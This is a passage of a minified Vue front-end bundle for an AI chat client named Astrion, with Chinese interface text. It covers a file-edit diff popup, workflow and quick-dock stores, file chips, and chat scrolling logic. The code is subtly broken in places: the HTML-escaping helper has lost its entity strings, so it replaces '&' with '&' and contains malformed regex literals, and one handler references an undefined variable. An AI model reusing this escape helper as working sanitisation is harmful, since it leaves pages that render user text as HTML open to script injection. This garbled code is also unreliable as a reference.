X=Math.min(Math.max(ve,Qo),W-Qo-qM);u.value={...K,top:`${Math.round(X)}px`,bottom:"auto",maxHeight:`${Math.round(Math.min(W-Qo-X,G))}px`}}}function v(){o.value&&m()}function g(){h&&(clearTimeout(h),h=null)}function y(){d&&(clearTimeout(d),d=null)}function b(Q,W,V=null){g(),y(),o.value=Q,a.value=W,l.value=V,m()}function _(Q,W){g(),h=setTimeout(()=>b(Q,!1,W),150)}function w(){a.value||(y(),d=setTimeout(()=>{o.value=null},200))}function S(Q,W){n.value||(y(),_(Q,W.currentTarget||null))}function C(){n.value||(g(),w())}function T(){n.value||y()}function k(){n.value||w()}function A(Q,W){b(Q,!0,W.currentTarget||null)}function M(){g(),y(),a.value=!1,o.value=null,l.value=null}function R(Q){Q.key==="Escape"&&o.value&&M()}Xe(o,Q=>{Q?(window.addEventListener("keydown",R),window.addEventListener("resize",v),window.addEventListener("scroll",v,!0)):(window.removeEventListener("keydown",R),window.removeEventListener("resize",v),window.removeEventListener("scroll",v,!0))}),xn(()=>{g(),y(),window.removeEventListener("keydown",R),window.removeEventListener("resize",v),window.removeEventListener("scroll",v,!0)});function P(Q){return Q.type==="add"?"es-diff-add":Q.type==="remove"?"es-diff-remove":"es-diff-context"}function L(Q){return Q.type==="add"?"+":Q.type==="remove"?"-":""}function z(Q){const W=Q.type==="remove"?Q.old_no:Q.new_no;return typeof W=="number"&&Number.isFinite(W)?String(W):""}return(Q,W)=>i.value.length?(F(),$("div",{key:0,class:"edit-summary-card",ref_key:"cardRef",ref:c},[E("div",K4,[E("span",{class:"icon icon-sm edit-summary-card__icon",style:Ke(e.iconStyle("filePen")),"aria-hidden":"true"},null,4),E("span",Q4,"已编辑 "+ae(i.value.length)+" 个文件",1),E("span",X4,[E("span",Y4,"+"+ae(r.value.added),1),E("span",J4,"-"+ae(r.value.removed),1)])]),E("div",Z4,[(F(!0),$(Ie,null,tt(i.value,V=>(F(),$("div",{key:V.path,class:ke(["edit-summary-card__row",{"is-active":a.value&&o.value===V.path}]),onMouseenter:N=>S(V.path,N),onMouseleave:C,onClick:Ne(N=>A(V.path,N),["stop"])},[E("span",{class:"edit-summary-card__path",title:V.path},ae(V.path),9,tH),E("span",sH,[E("span",nH,"+"+ae(V.added||0),1),E("span",iH,"-"+ae(V.removed||0),1)])],42,eH))),128))]),(F(),Wt(Sp,{to:"body"},[p.value?(F(),$("div",rH,[a.value||n.value?(F(),$("div",{key:0,class:"es-modal__overlay","aria-hidden":"true",onClick:M})):ge("",!0),E("div",{class:"es-modal__panel",style:Ke(u.value),role:"dialog","aria-label":`文件变更:${p.value.path}`,onMouseenter:T,onMouseleave:k},[E("div",aH,[E("span",{class:"icon icon-sm es-modal__header-icon",style:Ke(e.iconStyle("filePen")),"aria-hidden":"true"},null,4),E("span",{class:"es-modal__path",title:p.value.path},ae(p.value.path),9,lH),E("span",cH,[E("span",uH,"+"+ae(p.value.added||0),1),E("span",hH,"-"+ae(p.value.removed||0),1)]),a.value||n.value?(F(),$("button",{key:0,type:"button",class:"es-modal__close","aria-label":"关闭",onClick:Ne(M,["stop"])},[E("span",{class:"icon icon-sm",style:Ke(e.iconStyle("x")),"aria-hidden":"true"},null,4)])):ge("",!0)]),E("div",dH,[(p.value.lines||[]).length?(F(),$(Ie,{key:0},[(F(!0),$(Ie,null,tt(p.value.lines,(V,N)=>(F(),$(Ie,{key:N},[V.type==="sep"?(F(),$("div",fH,"⋮")):(F(),$("div",{key:1,class:ke(["es-diff-line",P(V)])},[E("span",pH,ae(z(V)),1),E("span",gH,ae(L(V)),1),E("span",mH,ae(V.content),1)],2))],64))),128)),p.value.truncated?(F(),$("div",vH,"内容过长,已截断展示")):ge("",!0)],64)):(F(),$("div",yH,"暂无可展示的文本变更行"))])],44,oH)])):ge("",!0)]))],512)):ge("",!0)}}),Gf=()=>({active:!1,name:"",status:null,history:[],current:null,next:null,reviewing:!1,footnote:null}),um=dn("workflow",{state:()=>({snapshot:Gf(),live:!1,exiting:!1}),getters:{isActive(s){return s.snapshot.active}},actions:{setWorkflow(s,e=!1){if(this.live=e,!s||s.active!==!0){if(this.exiting){e||(this.exiting=!1,this.snapshot=Gf());return}if(e&&this.snapshot.active){this.exiting=!0;return}this.snapshot=Gf();return}this.exiting=!1,this.snapshot={...Gf(),...s,active:!0}},finishExit(){this.exiting=!1,this.live=!1,this.snapshot=Gf()},reset(){this.snapshot=Gf(),this.live=!1,this.exiting=!1},async fetchStatus(s){var e;try{const t=await fetch(`/api/workflow/status?conversation_id=${encodeURIComponent(s)}`,{credentials:"same-origin"}),n=await t.json().catch(()=>({}));t.ok&&(n!=null&&n.success)&&((e=n==null?void 0:n.snapshot)==null?void 0:e.active)===!0?this.setWorkflow(n.snapshot,!1):this.reset()}catch{this.reset()}}}}),X2="agents_quick_dock_had_content",CH=()=>{if(typeof window>"u"||!window.localStorage)return!1;try{return window.localStorage.getItem(X2)==="1"}catch{return!1}},TH=s=>{if(!(typeof window>"u"||!window.localStorage))try{window.localStorage.setItem(X2,s?"1":"0")}catch(e){console.warn("写入快捷窗口内容状态缓存失败:",e)}},Y2="agents_quick_dock_conv_content",KM=50,J2=()=>{if(typeof window>"u"||!window.localStorage)return{};try{const s=window.localStorage.getItem(Y2),e=s?JSON.parse(s):{};return e&&typeof e=="object"?e:{}}catch{return{}}},AH=s=>J2()[s]===!0,EH=(s,e)=>{if(!(typeof window>"u"||!window.localStorage||!s))try{const t=J2();delete t[s],t[s]=e;const n=Object.keys(t);if(n.length>KM)for(const i of n.slice(0,n.length-KM))delete t[i];window.localStorage.setItem(Y2,JSON.stringify(t))}catch(t){console.warn("写入快捷窗口对话内容缓存失败:",t)}},QM=()=>{if(typeof window<"u"){const s=window.location.pathname.replace(/\/+$/,"")||"/";if(s==="/"||s==="/new")return!1}return CH()},Bo=dn("quickDock",{state:()=>({editedFiles:[],editedFilesLive:!1,detail:null,previewPath:null,menu:null,userCollapsed:!1,assumedContent:QM(),assumedActive:QM(),filesSyncSeq:0}),getters:{hasContent(s){var a,c;const e=Tc(),t=oh(),n=cm(),i=um(),o=(((c=(a=e.todoList)==null?void 0:a.tasks)==null?void 0:c.length)||0)>0||t.subAgents.length>0||n.commands.length>0||s.editedFiles.length>0;return i.isActive||i.exiting||(s.assumedActive?s.assumedContent:o)},expanded(s){return this.hasContent&&!s.userCollapsed}},actions:{setEditedFiles(s,e=!1){if(this.filesSyncSeq+=1,this.editedFilesLive=e,!Array.isArray(s)){this.editedFiles=[];return}const t=new Set,n=[];for(const i of s)!i||typeof i.path!="string"||!i.path||t.has(i.path)||(t.add(i.path),n.push({path:i.path,op:i.op,ts:i.ts}));this.editedFiles=n,this.previewPath&&!t.has(this.previewPath)&&(this.previewPath=null)},openDetail(s,e){if(e){if(this.detail&&this.detail.kind===s&&this.detail.id===e){this.detail=null;return}this.detail={kind:s,id:e}}},closeDetail(){this.detail=null},openPreview(s){if(s){if(this.previewPath===s){this.previewPath=null;return}this.previewPath=s}},closePreview(){this.previewPath=null},openMenu(s){if(this.menu&&this.menu.type===s.type&&this.menu.key===s.key){this.menu=null;return}this.menu=s},closeMenu(){this.menu=null},resetTransient(){this.detail=null,this.previewPath=null,this.menu=null},settleInitialContent(){this.assumedActive=!1,this.assumedContent=!1},assumeContentForConversation(s){this.assumedContent=s?AH(s):!1,this.assumedActive=!0}}}),MH={class:"file-chip-row",role:"list"},xH=["title","onClick"],IH={width:"22",height:"22",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor","stroke-width":"2","stroke-linecap":"round","stroke-linejoin":"round","aria-hidden":"true"},RH={class:"file-chip-meta"},LH={class:"file-chip-name"},PH={class:"file-chip-type"},OH=["aria-label","onClick"],DH="M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",NH=at({__name:"FileChips",props:{files:{default:()=>[]},removable:{type:Boolean,default:!1}},emits:["remove"],setup(s){const e={doc:{kind:"word",label:"文档"},docx:{kind:"word",label:"文档"},xls:{kind:"excel",label:"电子表格"},xlsx:{kind:"excel",label:"电子表格"},csv:{kind:"excel",label:"电子表格"},ppt:{kind:"ppt",label:"演示文稿"},pptx:{kind:"ppt",label:"演示文稿"},pdf:{kind:"pdf",label:"PDF"},txt:{kind:"text",label:"文本"},md:{kind:"text",label:"文本"},log:{kind:"text",label:"文本"},zip:{kind:"archive",label:"压缩包"},tar:{kind:"archive",label:"压缩包"},gz:{kind:"archive",label:"压缩包"},tgz:{kind:"archive",label:"压缩包"},bz2:{kind:"archive",label:"压缩包"},xz:{kind:"archive",label:"压缩包"},"7z":{kind:"archive",label:"压缩包"},rar:{kind:"archive",label:"压缩包"}},t=new Set(["js","mjs","cjs","ts","jsx","tsx","vue","py","java","c","h","cpp","cc","hpp","go","rs","rb","php","html","htm","css","scss","less","json","xml","yml","yaml","toml","ini","cfg","sh","bash","zsh","sql","swift","kt","kts","lua","r","dart"]),n=s,i=h=>{const d=String(h||"").split(/[/\\]/).filter(Boolean);return d.length?d[d.length-1]:String(h||"")},r=h=>{const d=(h.includes(".")&&h.split(".").pop()||"").trim().toLowerCase();return d&&e[d]?e[d]:d&&t.has(d)?{kind:"code",label:"代码"}:{kind:"generic",label:"文件"}},o=ye(()=>(n.files||[]).map(h=>{const d=typeof h=="string"?h:String((h==null?void 0:h.path)||"");if(!d)return null;const p=typeof h=="object"&&h&&typeof h.name=="string"&&h.name||i(d),{kind:m,label:v}=r(p);return{path:d,name:p,kind:m,label:v}}).filter(h=>!!h)),a=Bo(),c=Vs(),l=ye(()=>!c.isMobileViewport),u=h=>{l.value&&a.previewPath!==h.path&&a.openPreview(h.path)};return(h,d)=>(F(),$("div",MH,[(F(!0),$(Ie,null,tt(o.value,p=>(F(),$("div",{key:p.path,class:ke(["file-chip",{"is-clickable":l.value,"is-previewing":l.value&&We(a).previewPath===p.path}]),role:"listitem",title:p.name,onClick:m=>u(p)},[E("span",{class:"file-chip-icon",style:Ke({background:`var(--file-kind-${p.kind})`})},[(F(),$("svg",IH,[E("path",{d:DH}),d[16]||(d[16]=E("path",{d:"M14 2v5a1 1 0 0 0 1 1h5"},null,-1)),p.kind==="word"?(F(),$(Ie,{key:0},[d[0]||(d[0]=E("path",{d:"M9 13h6"},null,-1)),d[1]||(d[1]=E("path",{d:"M9 16.5h6"},null,-1))],64)):p.kind==="excel"?(F(),$(Ie,{key:1},[d[2]||(d[2]=E("path",{d:"M9 12h6v5H9z"},null,-1)),d[3]||(d[3]=E("path",{d:"M9 14.5h6"},null,-1)),d[4]||(d[4]=E("path",{d:"M12 12v5"},null,-1))],64)):p.kind==="ppt"?(F(),$(Ie,{key:2},[d[5]||(d[5]=E("path",{d:"M9.5 17v-3.5"},null,-1)),d[6]||(d[6]=E("path",{d:"M12.5 17V12"},null,-1)),d[7]||(d[7]=E("path",{d:"M15.5 17v-2"},null,-1))],64)):p.kind==="pdf"?(F(),$(Ie,{key:3},[d[8]||(d[8]=E("path",{d:"M12 11.5v6"},null,-1)),d[9]||(d[9]=E("path",{d:"m9.5 15 2.5 2.5 2.5-2.5"},null,-1))],64)):p.kind==="text"?(F(),$(Ie,{key:4},[d[10]||(d[10]=E("path",{d:"M9 13h6"},null,-1)),d[11]||(d[11]=E("path",{d:"M9 16.5h4"},null,-1))],64)):p.kind==="code"?(F(),$(Ie,{key:5},[d[12]||(d[12]=E("path",{d:"m10 12.5-2 2 2 2"},null,-1)),d[13]||(d[13]=E("path",{d:"m14 12.5 2 2-2 2"},null,-1))],64)):p.kind==="archive"?(F(),$(Ie,{key:6},[d[14]||(d[14]=E("path",{d:"M9 12.5h6v4.5H9z"},null,-1)),d[15]||(d[15]=E("path",{d:"M11 12.5V11h2v1.5"},null,-1))],64)):ge("",!0)]))],4),E("span",RH,[E("span",LH,ae(p.name),1),E("span",PH,ae(p.label),1)]),s.removable?(F(),$("button",{key:0,type:"button",class:"file-chip-remove","aria-label":`移除 ${p.name}`,onClick:Ne(m=>h.$emit("remove",p.path),["stop"])},[...d[17]||(d[17]=[E("svg",{width:"10",height:"10",viewBox:"0 0 10 10",fill:"none","aria-hidden":"true"},[E("path",{d:"M2.5 2.5l5 5M7.5 2.5l-5 5",stroke:"currentColor","stroke-width":"1.5","stroke-linecap":"round"})],-1)])],8,OH)):ge("",!0)],10,xH))),128))]))}}),Z2=Qt(NH,[["__scopeId","data-v-ffb20906"]]),BH={key:0,class:"compact-brief-line",role:"separator"},FH={class:"compact-brief-text"},$H={key:0},HH=["innerHTML"],UH={key:1,class:"image-inline-row"},WH=["onClick"],zH=["src","alt"],jH={key:2,class:"image-inline-row video-inline-row"},VH=["src","alt"],GH={key:3,class:"user-bubble-expand-row"},qH=["title","aria-label","onClick"],KH={key:0,class:"user-bubble-actions"},QH=["title","aria-label","onClick"],XH=["onClick"],YH={class:"user-bubble-time"},JH={key:1,class:"assistant-message"},ZH={key:0,class:"message-header icon-label"},e6={key:0,class:"assistant-work-status"},t6={key:1,class:"action-item streaming-content immediate-show assistant-generating-block"},s6={class:"text-output"},n6={class:"text-content assistant-generating-placeholder",role:"status","aria-live":"polite"},i6=["data-block-id"],r6=["onClick"],o6={class:"status-icon"},a6={class:"status-text"},l6=["onScroll"],c6={key:1,class:"text-output"},u6={key:2,class:"sub-agent-system-summary-line"},h6={class:"append-placeholder-content"},d6={key:0,class:"icon-label append-status"},f6={key:1,class:"icon-label append-status append-error-text"},p6={key:2,class:"append-meta"},g6={key:0},m6={key:1},v6={key:3,class:"append-warning icon-label"},y6={class:"append-placeholder-content"},b6={class:"icon-label append-status"},_6={key:0,class:"append-meta"},S6={key:0},w6={key:1},k6={key:1,class:"append-warning icon-label"},C6=["data-block-id"],T6=["onClick"],A6={class:"status-icon"},E6={class:"status-text"},M6=["onScroll"],x6={key:1,class:"text-output"},I6={key:2,class:"sub-agent-system-summary-line"},R6={class:"append-placeholder-content"},L6={key:0,class:"icon-label append-status"},P6={key:1,class:"icon-label append-status append-error-text"},O6={key:2,class:"append-meta"},D6={key:0},N6={key:1},B6={key:3,class:"append-warning icon-label"},F6={class:"append-placeholder-content"},$6={class:"icon-label append-status"},H6={key:0,class:"append-meta"},U6={key:0},W6={key:1},z6={key:1,class:"append-warning icon-label"},j6={key:2,class:"system-message"},V6=["data-block-id"],G6=["onClick"],q6={class:"status-icon"},K6={class:"status-text"},Q6={class:"content-inner"},X6=["onClick"],Y6={class:"quick-nav-preview-user"},J6={class:"quick-nav-preview-ai"},eC=10,Z6="生成中…",tC=240,qf=8,eU=900,tU=36,XM=48.74,sC=34,YM=116,sU=at({__name:"ChatArea",props:{messages:{},iconStyle:{type:Function},expandedBlocks:{},streamingMessage:{type:Boolean},toggleBlock:{type:Function},handleThinkingScroll:{type:Function},renderMarkdown:{type:Function},getToolIcon:{type:Function},getToolStatusText:{type:Function},getToolAnimationClass:{type:Function},getToolDescription:{type:Function},formatSearchTopic:{type:Function},formatSearchTime:{type:Function},formatSearchDomains:{type:Function},historyLoading:{type:Boolean}},emits:["stick-state-change","user-scroll-intent"],setup(s,{expose:e,emit:t}){const n=s,i=t,r=qs(),o=ye(()=>!!r.loaded||!!r.error),a=ye(()=>!!n.historyLoading||!o.value),c=ye(()=>r.experiments.blockDisplayMode||"stacked"),l=ye(()=>r.form.compact_message_display||r.experiments.compactMessageDisplay||"full"),u=ye(()=>c.value==="stacked"||c.value==="minimal"),h=ye(()=>r.form.use_custom_names&&r.form.self_identify||"Astrion"),d=ye(()=>r.form.use_custom_names&&r.form.user_name||"用户"),p=new Map,m=pe({}),v=pe(new Set),g=pe(!1);let y=null,b=new Map,_=0;const w=(q,te)=>(q==null?void 0:q.id)||`user-bubble-${te}`,S=(q,te,Z)=>{const re=w(q,te);if(Z instanceof HTMLElement){p.set(re,Z),y&&y.observe(Z);const Ae=m.value[re];Ae&&Ae.foldHeight===0&&requestAnimationFrame(()=>{Z.isConnected&&k()})}else p.delete(re)},C=q=>{const te=typeof(q==null?void 0:q.content)=="string"?q.content:"";if(!te)return!1;const re=48*(eC+2),Ae=(te.match(/\n/g)||[]).length;return te.length>re||Ae>=eC+2},T=()=>{(Array.isArray(st.value)?st.value:[]).forEach((q,te)=>{if(!q||q.role!=="user")return;const Z=w(q,te);if(m.value[Z])return;const re=C(q);m.value[Z]={needsFold:re,expanded:!1,foldHeight:0,fullHeight:0}})},k=()=>{p.forEach((q,te)=>{if(!q.isConnected){p.delete(te);return}const Z=window.getComputedStyle(q),re=parseFloat(Z.lineHeight),Ae=Number.isFinite(re)?re:24,ue=Math.round(Ae*eC),Ge=Math.ceil(q.scrollHeight),pt=Ge>ue+1,Bt=m.value[te];m.value[te]={needsFold:pt,expanded:(Bt==null?void 0:Bt.expanded)??!1,foldHeight:ue,fullHeight:Ge},q.style.setProperty("--bubble-fold-height",`${ue}px`),q.style.setProperty("--bubble-full-height",`${Ge}px`)})},A=(q,te)=>{var re;const Z=w(q,te);return!!((re=m.value[Z])!=null&&re.needsFold)},M=(q,te)=>{var re;const Z=w(q,te);return!!((re=m.value[Z])!=null&&re.expanded)},R=(q,te)=>{const Z=w(q,te),re=m.value[Z];return!!(re!=null&&re.needsFold)&&!(re!=null&&re.expanded)},P=(q,te)=>{const Z=w(q,te),re=m.value[Z];!re||!re.needsFold||(m.value[Z]={...re,expanded:!re.expanded})},L=q=>{const te=q==null?void 0:q.created_at;if(!te)return"";const Z=new Date(te),Ae=Math.max(0,new Date().getTime()-Z.getTime()),ue=Math.floor(Ae/1e3),Ge=Math.floor(ue/60),pt=Math.floor(Ge/60);if(Math.floor(pt/24)>=1){const Rt=Z.getMonth()+1,Ps=Z.getDate(),Us=String(Z.getHours()).padStart(2,"0"),Er=String(Z.getMinutes()).padStart(2,"0");return`${Rt}月${Ps}日 ${Us}:${Er}`}return pt>0?`${pt}小时前`:Ge>0?`${Ge}分钟前`:ue>0?`${ue}秒前`:"刚刚"},z=(q,te)=>{const Z=w(q,te);return v.value.has(Z)},Q=async(q,te)=>{const Z=w(q,te),re=typeof(q==null?void 0:q.content)=="string"?q.content:"";if(!(!re||v.value.has(Z)))try{await navigator.clipboard.writeText(re),v.value.add(Z);const Ae=b.get(Z);Ae&&window.clearTimeout(Ae);const ue=window.setTimeout(()=>{v.value.delete(Z),b.delete(Z)},5e3);b.set(Z,ue)}catch(Ae){console.warn("复制用户消息失败:",Ae)}},W=q=>{},V=()=>{y&&(y.disconnect(),p.forEach(q=>{q.isConnected&&y.observe(q)}))},N=()=>{const q=++_;requestAnimationFrame(()=>{requestAnimationFrame(()=>{q===_&&(g.value=!1)})})},O=/^来自\s+(.+?)\s+的(.+?)\nid:\s*(\S+)\n\n<(.+?)>\n<(\w+)([^>]*)>\n([\s\S]*?)\n<\/\5>\n<\/\4>$/;function H(q){const Z=String(q||"").match(O);if(!Z)return null;const Ae=(Z[6]||"").match(/subtype="([^"]+)"/);return{displayName:Z[1].trim(),subtype:Ae?Ae[1]:"",content:Z[7]}}function G(q){if(!q||q.role!=="user")return!1;const te=q.metadata||{};return String(te.auto_message_type||q.auto_message_type||"").startsWith("multi_agent_")}function ee(q){var re;const te=((re=q==null?void 0:q.metadata)==null?void 0:re.multi_agent_display_name)||(q==null?void 0:q.multi_agent_display_name);if(te)return te;const Z=H((q==null?void 0:q.content)||"");return(Z==null?void 0:Z.displayName)||"子智能体"}function ie(q,te){if(!G(q))return!1;const re=et()[te-1];return!re||!G(re)?!1:ee(q)===ee(re)}function ve(q){const te=H((q==null?void 0:q.content)||"");return((te==null?void 0:te.content)||(q==null?void 0:q.content)||"").trim()}const le=q=>String(q||"").replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'"),oe=/\[\$([^\]\n]+)\]\(((?:[^)\n]*[\\/])?\.astrion[\\/]skills[\\/][^)\n]+[\\/]SKILL\.md)\)/g,I=/\[([^\]\n]+)\]\(file:\/\/([^)\n]+)\)/g,K=/^子智能体\d+\s*任务完成$/,X=/^(?:✅\s*)?子智能体\s*#?\s*(\d+)\s*任务摘要[::]/,J=/^(?:\[)?后台\s*run_command\s*完成(?:\])?$/,he=new Set(["thinking","text","tool","append","append_payload","system"]);function be(q){const te=String(q||""),Z=new RegExp(`(?:${oe.source})|(?:${I.source})`,"g");let re="",Ae=0,ue;for(;ue=Z.exec(te);)re+=le(te.slice(Ae,ue.index)),ue[1]!==void 0?re+=` ${le(ue[1]||"")} `:ue[3]!==void 0&&(re+=` ${le(ue[3]||"")} `),Ae=ue.index+ue[0].length;return re+=le(te.slice(Ae)),re}const Re=q=>!q||q.role!=="user"?!1:Oh(q)==="hidden",rt=q=>!q||q.role!=="assistant"||(Array.isArray(q.actions)?q.actions:[]).some(Ae=>ei(Ae))||q.awaitingFirstContent?!1:!!!(q.streaming||q.currentStreamingType||q.streamingText||q.streamingThinking),st=ye(()=>{const q=n.messages||[];q.filter(re=>re&&re.role==="system").length>0;const Z=q.filter(re=>re&&re.metadata&&re.metadata.system_injected_image||(re==null?void 0:re.role)==="system"||Re(re)?!1:rt(re)?(Le("ChatArea.filteredMessages:drop-empty-assistant",{actions:Array.isArray(re==null?void 0:re.actions)?re.actions.map(Ae=>Ae==null?void 0:Ae.type):[],awaitingFirstContent:!!(re!=null&&re.awaitingFirstContent)}),!1):!0);return q.length!==Z.length&&Le("ChatArea.filteredMessages:dropped",{sourceLength:q.length,resultLength:Z.length,dropped:q.length-Z.length}),Z}),et=()=>Array.isArray(st.value)?st.value:[],De=ye(()=>{var re,Ae,ue;const q=new Map,te=et(),Z=!!r.form.edit_summary_live_display;for(let Ge=0;Ge=0&&q.set(Rt,Bt)}return q}),xe=ye(()=>et().length-1),se=pe(Date.now());let ce=null;const de=new Set,we=new Set,Le=(...q)=>{},{scrollRef:He,contentRef:yt,isAtBottom:At,isNearBottom:Nt,escapedFromLock:It,scrollToBottom:Jt,stopScroll:$t}=P$({resize:"instant",initial:"instant"}),As=new WeakMap;let ut=0;const Hs=(q,te)=>{if(q&&typeof q=="object"){let Z=As.get(q);if(!Z){const re=q.id;Z=re!=null?`msg-${String(re)}`:`mk-${++ut}`,As.set(q,Z)}return Z}return`idx-${te}`},hl=ye(()=>He.value??void 0),In=ye(()=>{if(!n.streamingMessage)return[];const q=xe.value;return q>=0?[q]:[]});MF("mathRenderedCallback",()=>{_a||Nt.value&&Ue&&requestAnimationFrame(()=>{Ue({preserveScrollPosition:!1})})});const Uo=He,{anchorBlockElement:nr,stopAll:Qs}=Q$(He,{stopScroll:$t});let Yn=null;function Rn(){if(Yn=null,!n.streamingMessage)return;const q=He.value;if(q&&!_a&&At.value&&!It.value){const te=q.scrollHeight-q.clientHeight;te-q.scrollTop>1&&(wr("ChatArea.liveStickLock"),q.scrollTop=te)}Yn=requestAnimationFrame(Rn)}function ir(){Yn!==null&&(cancelAnimationFrame(Yn),Yn=null)}Xe(()=>n.streamingMessage,q=>{q?Yn===null&&(Yn=requestAnimationFrame(Rn)):ir()},{immediate:!0});const Wo=new Map;let Ln=null,ma=0;const zo=new Map;let io=0,dl=0,Jn=0,jo=0,va=0,fe="",me=0,Ce=!1,dt=null,qt=null,Ss=null,Kt=null,Es=null,ht=!1,pn=0,Vo=!1;function Ff(q){const te=He.value;if(!te||!(q instanceof HTMLElement))return!1;let Z=q;for(;Z&&Z!==te;){if(Z.scrollHeight>Z.clientHeight+2){const re=getComputedStyle(Z).overflowY;if(re==="auto"||re==="scroll")return!0}Z=Z.parentElement}return!1}function fl(){var q;if(typeof window>"u")return!1;try{const te=window.__SCROLL_BOUNCE_TRACE__;if(te===!1||te==="0")return!1;if(te===!0||te==="1")return!0;const Z=(q=window.localStorage)==null?void 0:q.getItem("scrollBounceTrace");return Z==="0"||Z==="false"?!1:Z==="1"||Z==="true"}catch{return!1}}function Di(q){const te=q.scrollTop,Z=q.scrollHeight,re=q.clientHeight;return{top:te,height:Z,client:re,remain:Z-te-re,hasShowHtml:!!q.querySelector("show_html, show-html, .chat-inline-html, .chat-inline-card--html")}}function Tn(q,te={},Z=q,re=120){if(!fl()||ma>=tC)return;const Ae=Date.now(),ue=zo.get(Z)||0;if(!(re>0&&Ae-ue{if(te.touches.length!==1){pn=0,Vo=!1;return}pn=te.touches[0].clientY,Vo=!1},Kt=te=>{if(Vo||!pn||te.touches.length!==1)return;const Z=He.value;if(!Z)return;const re=te.touches[0].clientY-pn;if(re<=8)return;const Ae=Date.now();Ae<=me||Ff(te.target)||(Vo=!0,jo=Ae,$t(),Qs(),Hf(),i("user-scroll-intent",{ts:Ae,delta:-re,top:Z.scrollTop||0}),Tn("user-scroll-intent:touch-drag",{deltaY:re,top:Z.scrollTop||0,...Di(Z)},"user-scroll-intent:touch-drag",80))},Es=()=>{pn=0,Vo=!1},q.addEventListener("touchstart",Ss,{passive:!0,capture:!0}),q.addEventListener("touchmove",Kt,{passive:!0,capture:!0}),q.addEventListener("touchend",Es,{passive:!0,capture:!0}),q.addEventListener("touchcancel",Es,{passive:!0,capture:!0}),qt=te=>{const Z=He.value;if(!Z)return;const re=te.isTrusted===!0,Ae=Number(te.deltaY||0);if(!(re&&Ae<-1&&Date.now()>me))return;const ue=Date.now();jo=ue,$t(),Qs(),Hf(),i("user-scroll-intent",{ts:ue,delta:Ae,top:Z.scrollTop||0}),Tn("user-scroll-intent:wheel-up",{deltaY:Ae,top:Z.scrollTop||0,...Di(Z)},"user-scroll-intent:wheel-up",80)},q.addEventListener("wheel",qt,{passive:!0,capture:!0}),dt=te=>{const Z=te.target;if(!Z)return;const re=te.isTrusted===!0,Ae=Z.scrollTop,ue=Ae-io,Ge=Z.scrollHeight||0,pt=Ge-dl;io=Ae,dl=Ge,Nc(Ae),pt!==0&&Tn("height-change",{heightDelta:pt,scrollHeight:Ge,top:Ae,delta:ue,escapedFromLock:It.value,isAtBottom:At.value,isNearBottom:Nt.value},"height-change",120);const Bt=Math.max(200,Z.clientHeight*.35||200);!Ce&&pt>Bt&&!It.value&&(Tn("large-growth:trigger",{heightDelta:pt,threshold:Bt,top:Ae,delta:ue,escapedFromLock:It.value,isAtBottom:At.value,isNearBottom:Nt.value},"large-growth:trigger",0),Ce=!0,wr("ChatArea.largeGrowth"),me=Date.now()+900,Jt({animation:"instant",preserveScrollPosition:!1}),Tn("large-growth:instant-scroll",{heightDelta:pt,threshold:Bt,...Di(Z)},"large-growth:instant-scroll",120),setTimeout(()=>{Ce=!1},400));const Rt=Date.now(),Ps=Rt-va<=140,Us=Math.abs(pt)>2,Er=ue<-3&&Rt-jo<=240,Mr=ue<-18&&Rt>me&&!Ps;if(re&&Math.abs(ue)>5&&Rt>me&&(!Ps||Mr)&&(ue<0&&(Mr||Er)||!Us)&&($t(),Qs(),Jn=Rt,i("user-scroll-intent",{ts:Jn,delta:ue,top:Ae}),Tn("user-scroll-intent",{delta:ue,top:Ae,ts:Jn,closeToProgrammaticHint:Ps,likelyLayoutDriven:Us,manualUpByWheel:Er,strongManualUp:Mr,...Di(Z)},"user-scroll-intent",120)),ue<-8){if(Rt-Jn<=1400){const Sa=Rt-va<=1200;Tn("rebound:detected",{delta:ue,trusted:re,likelySource:Sa?fe||"programmatic-unknown":"unknown(internal-stick/browser-anchor)",msSinceUserDown:Rt-Jn,msSinceProgrammatic:Rt-va,...Di(Z),stickState:{isAtBottom:!!At.value,isNearBottom:!!Nt.value,escapedFromLock:!!It.value}},"rebound:detected",0)}}else Tn("scroll:event",{delta:ue,trusted:re,...Di(Z),stickState:{isAtBottom:!!At.value,isNearBottom:!!Nt.value,escapedFromLock:!!It.value}},"scroll:event",180)},q.addEventListener("scroll",dt,{passive:!0}),!ht&&fl()&&(ht=!0,console.warn("[SCROLL_BOUNCE_TRACE]","listener-attached",{hasElement:!!q,className:q.className||""})))}function pl(){const q=He.value;if(!q)return;const te=Math.max(0,q.offsetWidth-q.clientWidth);q.style.setProperty("--chat-scrollbar-width",`${te}px`)}Xe([At,Nt,It],([q,te,Z])=>{i("stick-state-change",{isAtBottom:!!q,isNearBottom:!!te,escapedFromLock:!!Z})},{immediate:!0});function $f(q){return typeof CSS<"u"&&typeof CSS.escape=="function"?CSS.escape(q):q.replace(/["\\]/g,"\\$&")}const ya=pe(new Set);function gl(q){return n.streamingMessage?_a?!0:!(!It.value&&!!At.value)||!q?!1:q.classList.contains("processing")||q.classList.contains("running")||!!q.querySelector(".processing, .running, .thinking-animation"):!1}Xe(()=>n.expandedBlocks,(q,te)=>{const Z=te??ya.value,re=new Set([...Array.from(q),...Array.from(Z)]),Ae=new Set;for(const Ge of re)q.has(Ge)!==Z.has(Ge)&&Ae.add(Ge);if(ya.value=new Set(q),Ae.size===0)return;const ue=He.value;if(ue)for(const Ge of Ae){const pt=ue.querySelector(`[data-block-id="${$f(Ge)}"]`);gl(pt)||pt&&nr(pt,Ge,{direction:"auto",duration:260,phase:q.has(Ge)?"expand":"collapse"})}},{flush:"post"});function Rc(q){gl(q.element)||nr(q.element,`more-${q.stackKey}`,{direction:"auto",duration:260,phase:expanded?"expand":"collapse"})}function ba(q){const{groupId:te,expanded:Z}=q,re=He.value;if(!re)return;const Ae=re.querySelector(`[data-group-id="${$f(te)}"]`);gl(Ae)||Ae&&nr(Ae,te,{direction:"auto",duration:300,phase:Z?"expand":"collapse"})}const Je=(q,te)=>{if(!(te instanceof HTMLElement))return;const Z=600;requestAnimationFrame(()=>{const re=te.scrollHeight||te.offsetHeight||0;re>0&&te.style.setProperty("--collapse-max",`${Math.min(re,Z)}px`)})};function ne(q,te){te instanceof HTMLElement?Wo.set(q,te):Wo.delete(q)}function Ee(q){return Wo.get(q)||null}async function Ue(q={}){const te=He.value;return 